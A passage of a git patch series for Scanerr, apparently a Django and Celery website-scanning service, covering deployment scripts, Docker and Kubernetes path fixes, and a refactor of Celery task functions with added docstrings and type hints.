diff --git a/setup/scripts/remote-entrypoint.sh b/setup/scripts/remote-entrypoint.sh
new file mode 100755
index 00000000..678dbae4
--- /dev/null
+++ b/setup/scripts/remote-entrypoint.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+
+# spin up app in remote env
+if [[ $1 == *"app"* ]]
+then 
+  python3 manage.py wait_for_db && python3 manage.py makemigrations  --no-input &&
+  python3 manage.py migrate --no-input &&
+  python3 manage.py collectstatic --no-input &&
+  python3 manage.py create_admin &&
+  python3 manage.py driver_s_test &&
+  python3 manage.py driver_p_test &&
+  gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+fi
+
+# spin up celery in remote env
+if [[ $1 == *"celery"* ]]
+then
+  echo "pausing for migrations to complete..." && sleep 7s &&
+  celery -A scanerr worker --beat --scheduler django --loglevel=info
+fi

From 6eaaea867d3f0e9bcb17a2dcba4db8bb2169b310 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:12:15 -0600
Subject: [PATCH 0548/1099] changed path of requirements.txt

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 9dc3208c..c8179fce 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -41,7 +41,7 @@ RUN chromium --no-sandbox --version
 RUN chromium --disable-dev-shm-usage  --version
 
 # installing requirements
-COPY ./requirements.txt /requirements.txt
+COPY ./setup/requirements.txt /requirements.txt
 RUN python3 -m pip install -r /requirements.txt
 
 # Set up the Chromium environment

From 14ea6003d5b31f0abded627f68dddaa10233651e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:15:20 -0600
Subject: [PATCH 0549/1099] still fixing new paths

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index c8179fce..6ae05831 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -41,7 +41,7 @@ RUN chromium --no-sandbox --version
 RUN chromium --disable-dev-shm-usage  --version
 
 # installing requirements
-COPY ./setup/requirements.txt /requirements.txt
+COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3 -m pip install -r /requirements.txt
 
 # Set up the Chromium environment

From 78754226484ff73db709582c4d8c6672e46b8a74 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:31:59 -0600
Subject: [PATCH 0550/1099] cleaning things up

---
 docker-compose.dev.yml   |  1 +
 docker-compose.local.yml |  1 +
 docker-compose.prod.yml  |  1 +
 docker-compose.stage.yml | 16 +++++++---------
 4 files changed, 10 insertions(+), 9 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index bbdb4a6d..db3d20f3 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -1,5 +1,6 @@
 services:
 
+
   app:
     container_name: scanerr-app
     hostname: scanerr-app
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index b5b059da..fb2efa36 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -1,5 +1,6 @@
 services:
   
+
   app:
     container_name: scanerr-app
     hostname: scanerr-app
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 72b39c1d..922a80e9 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -1,5 +1,6 @@
 services:
 
+
   app:
     container_name: scanerr-app
     hostname: scanerr-app
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 9ddd10ea..e9e47f79 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -1,8 +1,6 @@
-
-
-
 services:
   
+
   app:
     container_name: scanerr-app
     hostname: scanerr-app
@@ -14,21 +12,21 @@ services:
       dockerfile: Dockerfile.local
     ports:
       - "8000:8000"
-    volumes:
-      - ./app:/app
     entrypoint: ["/local-entrypoint.sh", "app"]
     env_file:
       - ./env/.env.stage
+    volumes:
+      - ./app:/app
   
 
-
   redis:
+    container_name: scanerr-redis
+    hostname: scanerr-redis
     image: redis:alpine
     ports:
       - "6379"
   
 
-
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
@@ -38,10 +36,10 @@ services:
       context: .
       dockerfile: Dockerfile.local
     entrypoint: ["/local-entrypoint.sh", "celery"]
-    volumes:
-      - ./app:/scanerr
     env_file:
       - ./env/.env.stage
+    volumes:
+      - ./app:/scanerr
     depends_on:
       - redis
       - app

From 3545dba94e1d55e4719b81992c4a0c2358277d77 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:38:37 -0600
Subject: [PATCH 0551/1099] updated paths to relative

---
 notes/Kubernetes.md | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 647abe5b..7268f20e 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -97,7 +97,7 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 2. Install nginx ingress controler on cluster
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-loadbalancer.yaml`
+- `kubectl apply -f ./k8s/prod/app-loadbalancer.yaml`
 - Then add and `A` record for domain that points to new loadbalancer
   - ref -> https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml
 
@@ -108,21 +108,21 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 4. Spin up Scanerr deployments and services
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
+- `kubectl apply -f ./k8s/prod/app-configs.yaml`
+- `kubectl apply -f ./k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-autoscaler.yaml`
+- `kubectl apply -f ./k8s/prod/app-deployment.yaml`
+- `kubectl apply -f ./k8s/prod/celery-deployment.yaml`
+- `kubectl apply -f ./k8s/prod/celery-autoscaler.yaml`
 
 
 #### 4.a  Spin up YLT deploymemt, service, and autoscaler
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-deployment.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-autoscaler.yaml`
+- `kubectl apply -f ./k8s/prod/ylt-deployment.yaml`
+- `kubectl apply -f ./k8s/prod/ylt-autoscaler.yaml`
 
 
 ### 5. Add app Ingress
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
+- `kubectl apply -f ./k8s/prod/app-ingress.yaml`
 
 
 ### 6. Install cert-manager
@@ -130,18 +130,18 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 7. Add cert issure
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-cert-issuer.yaml`
+- `kubectl apply -f ./k8s/prod/app-cert-issuer.yaml`
 - NOTE: May have to wait a bit before running this one
   
 
 ### 8. Update app Ingress for TLS 
 - Uncomment the "TLS section" & "cert-manager.io/cluster-issuer annotation" then reapply 
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
+- `kubectl apply -f ./k8s/prod/app-ingress.yaml`
 
 
 ### 9. Install kubeip dameon & service
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/kubeip-service.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/kubeip-daemon.yaml`
+- `kubectl apply -f ./k8s/prod/kubeip-service.yaml`
+- `kubectl apply -f ./k8s/prod/kubeip-daemon.yaml`
 
 
 ### NOTES:

From 6221877e53b7185486a551a6a95fc0256d494d72 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:53:43 -0600
Subject: [PATCH 0552/1099] cleaned up more commands

---
 k8s/prod/app-deployment.yaml    | 15 +--------------
 k8s/prod/celery-deployment.yaml |  3 +--
 notes/Kubernetes.md             | 18 +++++++++++++++---
 3 files changed, 17 insertions(+), 19 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 80aa4b47..04b1f53e 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,24 +18,11 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # scanerr/server:80a9a46 # 
+          image: <IMAGE> # scanerr/server:9dbc3d9 # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
           command: ["/remote-entrypoint.sh", "app"]
-          # command: ["/bin/sh", "-c"]
-          # args: 
-          #   - > 
-          #       python3 manage.py wait_for_db &&
-          #       python manage.py showmigrations &&
-          #       python3 manage.py makemigrations --no-input &&
-          #       python3 manage.py migrate --no-input &&
-          #       python3 manage.py collectstatic --no-input &&
-          #       python3 manage.py create_admin &&
-          #       python3 manage.py driver_s_test &&
-          #       python3 manage.py driver_p_test &&
-          #       gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
-            
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 387464a0..72702db9 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -19,10 +19,9 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image:  <IMAGE> # landonr/scanerr-server:a5f30cb # 
+          image:  <IMAGE> # scanerr/server:9dbc3d9 # 
           imagePullPolicy: Always
           command: ["/remote-entrypoint.sh", "celery"]
-          # command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 3"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 7268f20e..4280df43 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -1,3 +1,8 @@
+# Notes on k8s deployments
+---
+<br>
+
+
 ### Create k8s files in yaml (kompose)
 ```shell
 kompose convert -f docker-compose.yml -o ./k8s
@@ -57,8 +62,10 @@ kubectl port-forward service/app-service 8000:8000
 ```
 
 
+<div style="margin-top: 8rem; margin-bottom: 8rem"></div>
 
-## Setps to Deploy localy
+
+# Setps to Deploy localy
 1. ensure minikube is running
    - ``` minikube status ``` 
 2. create secrets for app image pull from docker
@@ -84,8 +91,11 @@ kubectl port-forward service/app-service 8000:8000
 
 ---
 
-## Setps to Deploy Remotely
+<div style="margin-top: 8rem; margin-bottom: 8rem"></div>
+
+# Setps to Deploy Remotely
 
+> Ensure you are in the `/server` root directory 
 
 ### 1. Create docker secrets  
 - `kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username='<username>' --docker-password='<password>' --docker-email='<email>'` 
@@ -155,7 +165,9 @@ kubectl port-forward service/app-service 8000:8000
 
 ---
 
-## Migration Notes for DB:
+<div style="margin-top: 8rem; margin-bottom: 8rem"></div>
+
+# Migration Notes for DB:
 1. Go to `models.py` and comment out all new additions
 2. Spinup staging env locally to create `00001_initial.py` migration as baseline
 3. Spin down staging env

From bd0c27a664c9fe928b68f45e34242c3a8ab22832 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:58:46 -0600
Subject: [PATCH 0553/1099] renaming

---
 commands.md => commands.txt | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 rename commands.md => commands.txt (100%)

diff --git a/commands.md b/commands.txt
similarity index 100%
rename from commands.md
rename to commands.txt

From b89b12e907761133c8a77c08dd4285caefc62934 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 14:13:50 -0600
Subject: [PATCH 0554/1099] refactored in preperation for v1.1.0

---
 app/api/admin.py                      |   37 +-
 app/api/models.py                     |   27 +-
 app/api/tasks.py                      |  896 ++++--
 app/api/utils/alerts.py               |  541 +++-
 app/api/utils/autocaser.py            |   48 +-
 app/api/utils/automater.py            |  312 ++
 app/api/utils/automations.py          |  242 --
 app/api/utils/caser.py                |  104 +-
 app/api/utils/crawler.py              |   39 +-
 app/api/utils/crux.py                 |   36 -
 app/api/utils/custom-config.js        |    3 -
 app/api/utils/driver_p.py             |  119 +-
 app/api/utils/driver_s.py             |  188 +-
 app/api/utils/exporter.py             |   16 +-
 app/api/utils/{image.py => imager.py} |   98 +-
 app/api/utils/lighthouse.py           |   11 +-
 app/api/utils/reporter.py             |  226 +-
 app/api/utils/scanner.py              |  371 ++-
 app/api/utils/tester.py               |  261 +-
 app/api/utils/verify.py               |    5 +
 app/api/utils/wordpress.py            |    1 -
 app/api/utils/wordpress_p.py          |    1 -
 app/api/utils/yellowlab.py            |   12 +-
 app/api/v1/auth/alerts.py             |  142 -
 app/api/v1/auth/serializers.py        |   14 +-
 app/api/v1/auth/services.py           |  769 +++--
 app/api/v1/auth/urls.py               |   15 +-
 app/api/v1/auth/views.py              |  199 +-
 app/api/v1/billing/services.py        |  469 +++
 app/api/v1/billing/urls.py            |    7 +-
 app/api/v1/billing/views.py           |  502 +---
 app/api/v1/ops/serializers.py         |   34 +-
 app/api/v1/ops/services.py            | 3902 ++++++++++++++++---------
 app/api/v1/ops/urls.py                |    7 +-
 app/api/v1/ops/views.py               |  331 +--
 app/scanerr/celery.py                 |   12 +-
 app/scanerr/settings.py               |   62 +-
 app/scanerr/urls.py                   |    3 +
 38 files changed, 6412 insertions(+), 3650 deletions(-)
 create mode 100644 app/api/utils/automater.py
 delete mode 100644 app/api/utils/automations.py
 delete mode 100644 app/api/utils/crux.py
 rename app/api/utils/{image.py => imager.py} (94%)
 delete mode 100644 app/api/v1/auth/alerts.py
 create mode 100644 app/api/v1/billing/services.py

diff --git a/app/api/admin.py b/app/api/admin.py
index 89482b91..141e7060 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -3,6 +3,10 @@
 from datetime import datetime
 
 
+
+
+
+
 @admin.register(Site)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('site_url', 'account', 'time_created')
@@ -10,18 +14,23 @@ class SiteAdmin(admin.ModelAdmin):
 
 
 
+
 @admin.register(Page)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('page_url', 'account', 'time_created')
     search_fields = ('page_url',)
 
 
+
+
 @admin.register(Test)
 class TestAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed', 'type')
     search_fields = ('page',)
 
 
+
+
 @admin.register(Scan)
 class ScanAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed')
@@ -32,59 +41,81 @@ def mark_as_completed(self, request, queryset):
         queryset.update(time_completed=datetime.now())
 
 
+
+
 @admin.register(Account)
 class AccountAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'type')
     search_fields = ('__str__',)
 
 
+
+
 @admin.register(Member)
 class MemberAdmin(admin.ModelAdmin):
     list_display = ('user', 'account', 'time_created', 'type', 'status')
     search_fields = ('user__username', 'account__name')
 
 
+
+
 @admin.register(Card)
 class CardAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'brand', 'last_four')
     search_fields = ('last_four',)
 
 
+
+
 @admin.register(Report)
 class ReportAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'user')
 
 
+
+
 @admin.register(Log)
 class LogAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'status', 'user')
 
 
+
+
 @admin.register(Schedule)
 class ScheduleAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'status', 'user')
 
 
+
+
 @admin.register(Automation)
 class AutomationAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'schedule', 'user')
 
 
+
+
 @admin.register(Process)
 class ProcessAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created',  'time_completed', 'progress', 'success')
 
 
+
+
 @admin.register(Case)
 class CaseAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'user', 'time_created',)
 
 
+
+
 @admin.register(Testcase)
 class TestcaseAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'user', 'time_created', 'time_completed',)
 
 
+
+
 @admin.register(Mask)
 class MaskAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'mask_id', 'active', 'time_created',)
@@ -95,4 +126,8 @@ def mark_as_inactive(self, request, queryset):
         queryset.update(active=False)
     
     def mark_as_active(self, request, queryset):
-        queryset.update(active=True)
\ No newline at end of file
+        queryset.update(active=True)
+
+
+
+        
\ No newline at end of file
diff --git a/app/api/models.py b/app/api/models.py
index 05186cb3..27135ca6 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -1,5 +1,4 @@
 from django.db import models
-from django.db import models
 from django.utils import timezone
 from django.urls import reverse
 from django.contrib.auth.models import User
@@ -8,6 +7,10 @@
 import uuid
 
 
+
+
+
+
 def get_info_default():
     info_default = {
             'latest_scan': {
@@ -54,7 +57,6 @@ def get_info_default():
 
 
 
-
 def get_small_info_default():
     info_default = {
             'latest_scan': {
@@ -78,6 +80,7 @@ def get_small_info_default():
 
 
 
+
 def get_lh_delta_default():
     lh_delta_default = {
         "scores": {
@@ -95,6 +98,7 @@ def get_lh_delta_default():
 
 
 
+
 def get_yl_delta_default():
     yl_delta_default = {
         "scores": {
@@ -115,6 +119,7 @@ def get_yl_delta_default():
 
 
 
+
 def get_lh_default():
     lh_default = {
        "scores": {
@@ -132,6 +137,7 @@ def get_lh_default():
 
 
 
+
 def get_yl_default():
     yl_default = {
        "scores": {
@@ -153,6 +159,7 @@ def get_yl_default():
 
 
 
+
 def get_expressions_default():
     expressions_default = {
        'list': [
@@ -168,6 +175,7 @@ def get_expressions_default():
 
 
 
+
 def get_actions_default():
     actions_default = {
         'list': [
@@ -206,6 +214,7 @@ def get_steps_default():
 
 
 
+
 def get_scores_default():
     scores_default = {
         'html': None,
@@ -218,6 +227,7 @@ def get_scores_default():
 
 
 
+
 def get_slack_default():
     slack_default = {
         "slack_name": None, 
@@ -230,6 +240,8 @@ def get_slack_default():
     return slack_default
 
 
+
+
 def get_tags_default():
     tags_default = None,
     return tags_default
@@ -297,7 +309,6 @@ def __str__(self):
 
 
 
-
 class Site(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
@@ -314,6 +325,7 @@ def __str__(self):
 
 
 
+
 class Page(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True)
@@ -329,6 +341,7 @@ def __str__(self):
 
 
 
+
 class Scan(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True)
@@ -350,6 +363,7 @@ def __str__(self):
 
 
 
+
 class Test(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True)
@@ -424,7 +438,6 @@ def __str__(self):
 
 
 
-
 class Report(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
@@ -442,7 +455,6 @@ def __str__(self):
 
 
 
-
 class Case(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
@@ -480,8 +492,6 @@ def __str__(self):
 
     
 
-
-
 class Mask(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
@@ -525,3 +535,6 @@ class Log(models.Model):
 
     def __str__(self):
         return f'{self.status}__{self.request_type}__{self.path}'
+
+
+
diff --git a/app/api/tasks.py b/app/api/tasks.py
index ba6cab00..8609934f 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1,5 +1,3 @@
-from __future__ import absolute_import, unicode_literals
-from typing import Any
 from celery.utils.log import get_task_logger
 from celery import shared_task, Task
 from .utils.crawler import Crawler
@@ -8,7 +6,7 @@
 from .utils.reporter import Reporter as R
 from .utils.wordpress import Wordpress as W
 from .utils.wordpress_p import Wordpress as W_P
-from .utils.automations import automation
+from .utils.automater import Automater
 from .utils.caser import Caser
 from .utils.autocaser import AutoCaser
 from .utils.exporter import create_and_send_report_export
@@ -17,17 +15,20 @@
     _yellowlab
 )
 from .utils.driver_p import driver_test
-from .v1.auth.alerts import send_invite_link, send_remove_alert
+from .utils.alerts import send_invite_link, send_remove_alert
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
-from asgiref.sync import async_to_sync
-from datetime import datetime, timedelta, date
+from datetime import datetime, timedelta
 from scanerr import settings
 import asyncio, boto3, time, requests, json
 
 
-logger = get_task_logger(__name__)
+
+
+
+
+
 
 
 class BaseTaskWithRetry(Task):
@@ -38,27 +39,64 @@ class BaseTaskWithRetry(Task):
 
 
 
+# setting logger 
+logger = get_task_logger(__name__)
+
+
+
+
+# setting s3 instance
+s3 = boto3.resource('s3', 
+    aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+    aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+    region_name=str(settings.AWS_S3_REGION_NAME), 
+    endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+)
 
 
 
 
 @shared_task
-def test_pupeteer():
+def test_pupeteer() -> None:
+    """ 
+    Spins up a puppeteer driver instance and
+    tests to ensure it can access the browser and internet
+
+    Returns -> None
+    """
     asyncio.run(driver_test())
     logger.info('Tested pupeteer instalation')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
+def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None:
+    """ 
+    Takes a newly created `Site`, initiates a Crawl and 
+    initial `Scan` for each crawled page
+
+    Expcets: {
+        site_id: str, 
+        configs: dict
+    }
+    
+    Returns -> None
+    """
+
+    # getting site and updating for time_crawl_start
     site = Site.objects.get(id=site_id)
     site.time_crawl_started = timezone.now()
     site.time_crawl_completed = None
     site.save()
+
     # crawl site 
     pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
+    
+    # create pages and scans
     for url in pages:
+
         # add new page
         if not Page.objects.filter(site=site, page_url=url).exists():
             page = Page.objects.create(
@@ -67,6 +105,7 @@ def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
                 user=site.user,
                 account=site.account,
             )
+            
             # create initial scan
             scan = Scan.objects.create(
                 site=site,
@@ -74,29 +113,49 @@ def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
                 type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
                 configs=configs
             )
+            
             # run each scan component in parallel
             run_html_and_logs_bg.delay(scan_id=scan.id)
             run_lighthouse_bg.delay(scan_id=scan.id)
             run_yellowlab_bg.delay(scan_id=scan.id)
             run_vrt_bg.delay(scan_id=scan.id)
+            
+            # update page info 
             page.info["latest_scan"]["id"] = str(scan.id)
             page.info["latest_scan"]["time_created"] = str(scan.time_created)
             page.save()
+
     # updating site status
     site.time_crawl_completed = timezone.now()
     site.save()
 
     logger.info('Added site and all pages')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
+def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None:
+    """ 
+    Takes an existing `Site`, initiates a new Crawl and 
+    initial `Scan` for each newly added page
+
+    Expcets: {
+        site_id: str, 
+        configs: dict
+    }
+    
+    Returns -> None
+    """
+    
+    # getting site and updating for time_crawl_start
     site = Site.objects.get(id=site_id)
     site.time_crawl_started = timezone.now()
     site.time_crawl_completed = None
     site.save()
+    
+    # getting old pages for comparison
     old_pages = Page.objects.filter(site=site)
     old_urls = []
     for p in old_pages:
@@ -110,8 +169,11 @@ def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
     for page in new_pages:
         if not page in old_urls and (len(add_pages) + len(old_urls) <= site.account.max_pages):
             add_pages.append(page)
-        
+
+    # loop thorugh crawled pages 
+    # and add if not present  
     for url in add_pages:
+
         # add new page
         if not Page.objects.filter(site=site, page_url=url).exists():
             page = Page.objects.create(
@@ -135,17 +197,40 @@ def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
             page.info["latest_scan"]["id"] = str(scan.id)
             page.info["latest_scan"]["time_created"] = str(scan.time_created)
             page.save()
+
     # updating site status
     site.time_crawl_completed = timezone.now()
     site.save()
 
     logger.info('crawled site and added pages')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def scan_page_bg(self, scan_id=None, test_id=None, automation_id=None, configs=None, *args, **kwargs):
+def scan_page_bg(
+        self, 
+        scan_id: str=None, 
+        test_id: str=None, 
+        automation_id: str=None, 
+        configs: dict=settings.CONFIGS
+    ) -> None:
+    """ 
+    Runs all the requested `Scan` components 
+    of the passed `Scan`.
+
+    Expects: {
+        scan_id       : str, 
+        test_id       : str, 
+        automation_id : str, 
+        configs       : dict
+    }
+
+    Returns -> None
+    """
+    
+    # get scan object
     scan = Scan.objects.get(id=scan_id)
     
     # run each scan component in parallel
@@ -159,6 +244,7 @@ def scan_page_bg(self, scan_id=None, test_id=None, automation_id=None, configs=N
         run_vrt_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
 
     logger.info('created new Scan of Page')
+    return None
 
 
 
@@ -166,17 +252,34 @@ def scan_page_bg(self, scan_id=None, test_id=None, automation_id=None, configs=N
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_scan(
         self,
-        scan_id=None,
-        page_id=None, 
-        type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-        automation_id=None, 
-        configs=None,
-        tags=None,
-        *args, 
-        **kwargs,
-    ):
+        scan_id: str=None,
+        page_id: str=None, 
+        type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+        automation_id: str=None, 
+        configs: str=None,
+        tags: str=None,
+    ) -> None:
+    """ 
+    Runs a `Scan` using Scanner.build_scan() 
+    where each component is run in sequence.
+
+    Expects: {
+        scan_id         : str,
+        page_id         : str, 
+        type            : list,
+        automation_id   : str, 
+        configs         : str,
+        tags            : list,
+    }
+    
+    Returns -> None
+    """
+
+    # get scan if scan_id present
     if scan_id is not None:
         created_scan = Scan.objects.get(id=scan_id)
+    
+    # create scan if page_id present
     elif page_id is not None:
         page = Page.objects.get(id=page_id)
         created_scan = Scan.objects.create(
@@ -186,18 +289,37 @@ def create_scan(
             configs=configs,
             tags=tags, 
         )
-    scan = S(scan=created_scan, configs=configs).first_scan()
+
+    # run scan and automation if necessary
+    scan = S(scan=created_scan, configs=configs).build_scan()
     if automation_id:
-        automation(automation_id, scan.id)
-    return scan
+        Automater(automation_id, scan.id).run_automation()
+    
     logger.info('Created new scan of site')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def create_scan_bg(self, *args, **kwargs):
-    # get data
+def create_scan_bg(self, *args, **kwargs) -> None:
+    """ 
+    Creates 1 or more `Scans` depending on 
+    the scope (page or site). Used with `Schedules`
+
+    Expects: {
+        'site_id'       : str,
+        'page_id'       : str,
+        'type'          : list,
+        'configs'       : dict,
+        'tags'          : list,
+        'automation_id' : str
+    }
+
+    Returns -> None
+    """
+
+    # get data from kwargs
     site_id = kwargs.get('site_id')
     page_id = kwargs.get('page_id')
     type = kwargs.get('type')
@@ -205,12 +327,14 @@ def create_scan_bg(self, *args, **kwargs):
     tags = kwargs.get('tags')
     automation_id = kwargs.get('automation_id')
 
+    # building list of pages
     if site_id is not None:
         site = Site.objects.get(id=site_id)
         pages = Page.objects.filter(site=site)
     if page_id is not None:
         pages = [Page.objects.get(id=page_id)]
 
+    # creating scans for each page
     for page in pages:
         create_scan.delay(
             page_id=page.id,
@@ -220,70 +344,127 @@ def create_scan_bg(self, *args, **kwargs):
             automation_id=automation_id
         )
     
+    logger.info('created new Scans')
+    return None
+
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_html_and_logs_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+def run_html_and_logs_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None:
+    """ 
+    Runs the html & logs components of the passed `Scan`
+
+    Expects: {
+        scan_id         : str, 
+        test_id         : str, 
+        automation_id   : str
+    }
+    
+    Returns -> None
+    """
+    
+    # run html and logs component
     _html_and_logs(scan_id, test_id, automation_id)
+
     logger.info('ran html & logs component')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_vrt_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
